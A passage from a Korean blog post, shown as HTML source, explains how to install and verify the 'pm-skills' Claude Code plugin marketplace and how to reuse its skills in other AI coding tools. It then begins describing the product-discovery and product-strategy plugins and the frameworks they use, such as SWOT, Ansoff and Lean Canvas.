&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Step 1: 마켓플레이스 추가
claude plugin marketplace add phuryn/pm-skills&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그다음 사용할 플러그인을 개별 설치한다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Step 2: 플러그인 개별 설치
claude plugin install pm-toolkit@pm-skills
claude plugin install pm-product-strategy@pm-skills
claude plugin install pm-product-discovery@pm-skills
claude plugin install pm-market-research@pm-skills
claude plugin install pm-data-analytics@pm-skills
claude plugin install pm-marketing-growth@pm-skills
claude plugin install pm-go-to-market@pm-skills
claude plugin install pm-execution@pm-skills&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;팁&lt;/b&gt; &amp;mdash; 모든 플러그인이 필요하지 않을 수 있다. 가장 자주 쓰이는 것부터 먼저 설치하고, 필요에 따라 추가하자.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.1.1 설치 확인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 후 다음 두 가지로 정상 동작을 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확인 1: 플러그인 목록 조회&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Claude Code 세션 내 슬래시 명령어로 확인
/plugin marketplace list&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치한 플러그인 이름(예: pm-product-discovery@pm-skills)이 목록에 표시되면 정상이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확인 2: 명령어 테스트&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code 세션에서 슬래시 명령어를 입력해본다.&lt;/p&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;/discover B2B SaaS 대시보드 아이디어&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;명령어를 찾을 수 없다&quot;는 오류가 나오면 marketplace 추가 단계를 다시 확인하자. 정상이라면 Discovery 워크플로우가 시작된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.2 Claude Cowork (GUI)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자가 아닌 PM도 사용할 수 있는 방법이다. GUI에서 marketplace를 추가한다.&lt;/p&gt;
&lt;ol style=&quot;padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Customize&lt;/b&gt; (좌측 하단) 열기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Browse plugins&lt;/b&gt; &amp;rarr; &lt;b&gt;Personal&lt;/b&gt; &amp;rarr; &lt;b&gt;+&lt;/b&gt; 클릭&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Add marketplace from GitHub&lt;/b&gt; 선택&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;phuryn/pm-skills&lt;/code&gt; 입력&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.3 기타 AI 어시스턴트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Skills는 SKILL.md 파일 형식을 사용하므로 Gemini CLI, Cursor, OpenCode, Codex CLI, Kiro 등에서도 사용할 수 있다. 각 도구의 skills 디렉토리에 스킬 폴더를 복사하면 된다. 다만 &lt;b&gt;명령어(Commands, 슬래시 커맨드)는 Claude 전용 기능&lt;/b&gt;이므로 다른 AI에서는 사용할 수 없다. 스킬만 복사해서 사용해야 한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;도구&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;복사 경로&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;작동 범위&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Gemini CLI&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;.gemini/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;스킬만&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;OpenCode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;.opencode/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;스킬만&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Cursor&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;.cursor/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;스킬만&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Codex CLI&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;skills 디렉토리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;스킬만&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Kiro&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;skills 디렉토리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;스킬만&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background: #f8fbff; border: 2px solid #cce5ff; border-radius: 12px; padding: 20px 25px; margin: 20px 0 30px 0; overflow-x: auto;&quot;&gt;
&lt;p style=&quot;font-weight: 600; margin: 0 0 15px 0; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;PM 라이프사이클 &amp;rarr; 8개 플러그인 역할 분담&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: separate; border-spacing: 4px; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background: #0066cc; color: white; border-radius: 8px; padding: 10px 8px; text-align: center; width: 12.5%;&quot;&gt;
&lt;div style=&quot;font-size: 10px; opacity: 0.85; margin-bottom: 4px;&quot;&gt;&lt;b&gt;발견&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-weight: 600; font-size: 11px;&quot;&gt;pm-product-discovery&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; margin-top: 5px; background: rgba(255,255,255,0.2); border-radius: 10px; padding: 2px 6px; display: inline-block;&quot;&gt;/discover&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;background: #1a7cc1; color: white; border-radius: 8px; padding: 10px 8px; text-align: center; width: 12.5%;&quot;&gt;
&lt;div style=&quot;font-size: 10px; opacity: 0.85; margin-bottom: 4px;&quot;&gt;&lt;b&gt;전략&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-weight: 600; font-size: 11px;&quot;&gt;pm-product-strategy&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; margin-top: 5px; background: rgba(255,255,255,0.2); border-radius: 10px; padding: 2px 6px; display: inline-block;&quot;&gt;/strategy&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;background: #2a92dc; color: white; border-radius: 8px; padding: 10px 8px; text-align: center; width: 12.5%;&quot;&gt;
&lt;div style=&quot;font-size: 10px; opacity: 0.85; margin-bottom: 4px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;실행&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-weight: 600; font-size: 11px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;pm-execution&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; margin-top: 5px; background: rgba(255,255,255,0.2); border-radius: 10px; padding: 2px 6px; display: inline-block;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;/write-prd&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;background: #3aa8f0; color: white; border-radius: 8px; padding: 10px 8px; text-align: center; width: 12.5%;&quot;&gt;
&lt;div style=&quot;font-size: 10px; opacity: 0.85; margin-bottom: 4px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;리서치&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-weight: 600; font-size: 11px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;pm-market-research&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; margin-top: 5px; background: rgba(255,255,255,0.2); border-radius: 10px; padding: 2px 6px; display: inline-block;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;7개 스킬&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;background: #52b8f8; color: white; border-radius: 8px; padding: 10px 8px; text-align: center; width: 12.5%;&quot;&gt;
&lt;div style=&quot;font-size: 10px; opacity: 0.85; margin-bottom: 4px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;데이터&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-weight: 600; font-size: 11px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;pm-data-analytics&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; margin-top: 5px; background: rgba(255,255,255,0.2); border-radius: 10px; padding: 2px 6px; display: inline-block;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3개 스킬&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;background: #6accff; color: white; border-radius: 8px; padding: 10px 8px; text-align: center; width: 12.5%;&quot;&gt;
&lt;div style=&quot;font-size: 10px; opacity: 0.85; margin-bottom: 4px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;GTM&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-weight: 600; font-size: 11px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;pm-go-to-market&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; margin-top: 5px; background: rgba(255,255,255,0.2); border-radius: 10px; padding: 2px 6px; display: inline-block;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;/plan-launch&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;background: #82dcff; color: #0a3a52; border-radius: 8px; padding: 10px 8px; text-align: center; width: 12.5%;&quot;&gt;
&lt;div style=&quot;font-size: 10px; opacity: 0.75; margin-bottom: 4px;&quot;&gt;&lt;b&gt;성장&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-weight: 600; font-size: 11px;&quot;&gt;pm-marketing-growth&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; margin-top: 5px; background: rgba(0,102,204,0.15); border-radius: 10px; padding: 2px 6px; display: inline-block;&quot;&gt;/north-star&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;background: #e8f4f8; color: #0a3a52; border-radius: 8px; padding: 10px 8px; text-align: center; border: 1px solid #b3d9ff; width: 12.5%;&quot;&gt;
&lt;div style=&quot;font-size: 10px; opacity: 0.75; margin-bottom: 4px;&quot;&gt;&lt;b&gt;유틸&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-weight: 600; font-size: 11px;&quot;&gt;pm-toolkit&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; margin-top: 5px; background: rgba(0,102,204,0.1); border-radius: 10px; padding: 2px 6px; display: inline-block;&quot;&gt;5개 명령어&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 핵심 기능: 8개 플러그인 상세&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8개 플러그인은 PM 업무 라이프사이클 전체를 커버한다. 발견에서 전략, 실행, 런칭, 성장까지. 각 플러그인은 &lt;b&gt;스킬(도메인 지식 블록)&lt;/b&gt;과 &lt;b&gt;명령어(스킬을 체이닝하는 워크플로우)&lt;/b&gt;로 구성된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1064&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CUwZ1/dJMcaiXctap/oUn5uln3gVA2dsSIhmVpS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CUwZ1/dJMcaiXctap/oUn5uln3gVA2dsSIhmVpS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CUwZ1/dJMcaiXctap/oUn5uln3gVA2dsSIhmVpS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCUwZ1%2FdJMcaiXctap%2FoUn5uln3gVA2dsSIhmVpS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;1064&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1064&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- ===== 3.1 pm-product-discovery ===== --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.1 pm-product-discovery (13개 스킬, 5개 명령어)&lt;/h3&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0 16px 0; align-items: center;&quot;&gt;&lt;span style=&quot;font-size: 12px; color: #888; margin-right: 4px;&quot;&gt;명령어&lt;/span&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/discover&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/brainstorm&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/triage-requests&lt;/code&gt; &lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;외 2개&lt;/span&gt;&lt;/div&gt;
&lt;!-- 그룹: 발견 핵심 프레임워크 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;발견 핵심 프레임워크&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;opportunity-solution-tree&lt;/code&gt; &amp;mdash; Teresa Torres의 Continuous Discovery Habits 기반 4단계 구조 (Desired Outcome &amp;rarr; Opportunities &amp;rarr; Solutions &amp;rarr; Experiments)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;continuous-discovery&lt;/code&gt; &amp;mdash; 지속적 발견 프로세스 가이드&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 그룹: 아이디어 발상·검증 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;아이디어 발상&amp;middot;검증&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;brainstorm-ideas&lt;/code&gt; &amp;mdash; PM, Designer, Engineer 세 관점에서 각각 5개 아이디어 생성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;identify-assumptions&lt;/code&gt; &amp;mdash; 아이디어별 핵심 가정 식별&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;prioritize-assumptions&lt;/code&gt; &amp;mdash; 위험도/검증 비용 매트릭스로 가정 우선순위 결정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;brainstorm-experiments&lt;/code&gt; &amp;mdash; 우선 가정에 대한 검증 실험 설계&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 그룹: 사용자 리서치 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사용자 리서치&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;summarize-interview&lt;/code&gt; &amp;mdash; 사용자 인터뷰 요약 및 인사이트 추출&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- /discover 체이닝 설명 --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/discover&lt;/b&gt; 체인: &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;brainstorm-ideas&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;identify-assumptions&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;prioritize-assumptions&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: rgba(0,0,0,0.05); padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;brainstorm-experiments&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 6px 0 0; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;4개 핵심 스킬에 컨텍스트 파악&amp;middot;발견 계획 수립&amp;middot;다음 단계 제안 등 오케스트레이션이 추가되어 총 7단계 워크플로우로 동작한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;1072&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lYIbz/dJMcadhkmOF/G54jo8qE9jRpk5BWCFOp8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lYIbz/dJMcadhkmOF/G54jo8qE9jRpk5BWCFOp8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lYIbz/dJMcadhkmOF/G54jo8qE9jRpk5BWCFOp8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlYIbz%2FdJMcadhkmOF%2FG54jo8qE9jRpk5BWCFOp8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1984&quot; height=&quot;1072&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;1072&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- ===== 3.2 pm-product-strategy ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.2 pm-product-strategy (12개 스킬, 5개 명령어)&lt;/h3&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0 16px 0; align-items: center;&quot;&gt;&lt;span style=&quot;font-size: 12px; color: #888; margin-right: 4px;&quot;&gt;명령어&lt;/span&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/strategy&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/business-model&lt;/code&gt; &lt;code style=&quot;background: #0066cc; color: white; border-radius: 20px; padding: 4px 14px; font-family: monospace; font-size: 13px; font-weight: 600;&quot;&gt;/pricing&lt;/code&gt; &lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;외 2개&lt;/span&gt;&lt;/div&gt;
&lt;!-- 그룹: 전략 분석 프레임워크 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;전략 분석 프레임워크&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;swot-analysis&lt;/code&gt; &amp;mdash; SWOT 분석 (Strengths, Weaknesses, Opportunities, Threats)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;ansoff-matrix&lt;/code&gt; &amp;mdash; Ansoff 성장 매트릭스 기반 전략 도출&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;lean-canvas&lt;/code&gt; &amp;mdash; Ash Maurya의 Lean Canvas 작성&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 그룹: 비즈니스·가치 설계 --&gt;
&lt;div style=&quot;background: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 15px 18px; margin: 12px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; color: #1a3a52; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;비즈니스&amp;middot;가치 설계&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;business-model&lt;/code&gt; &amp;mdash; 비즈니스 모델 캔버스 설계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; color: #c7254e;&quot;&gt;value-proposition&lt;/code&gt; &amp;mdash; 가치 제안 캔버스 구축&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
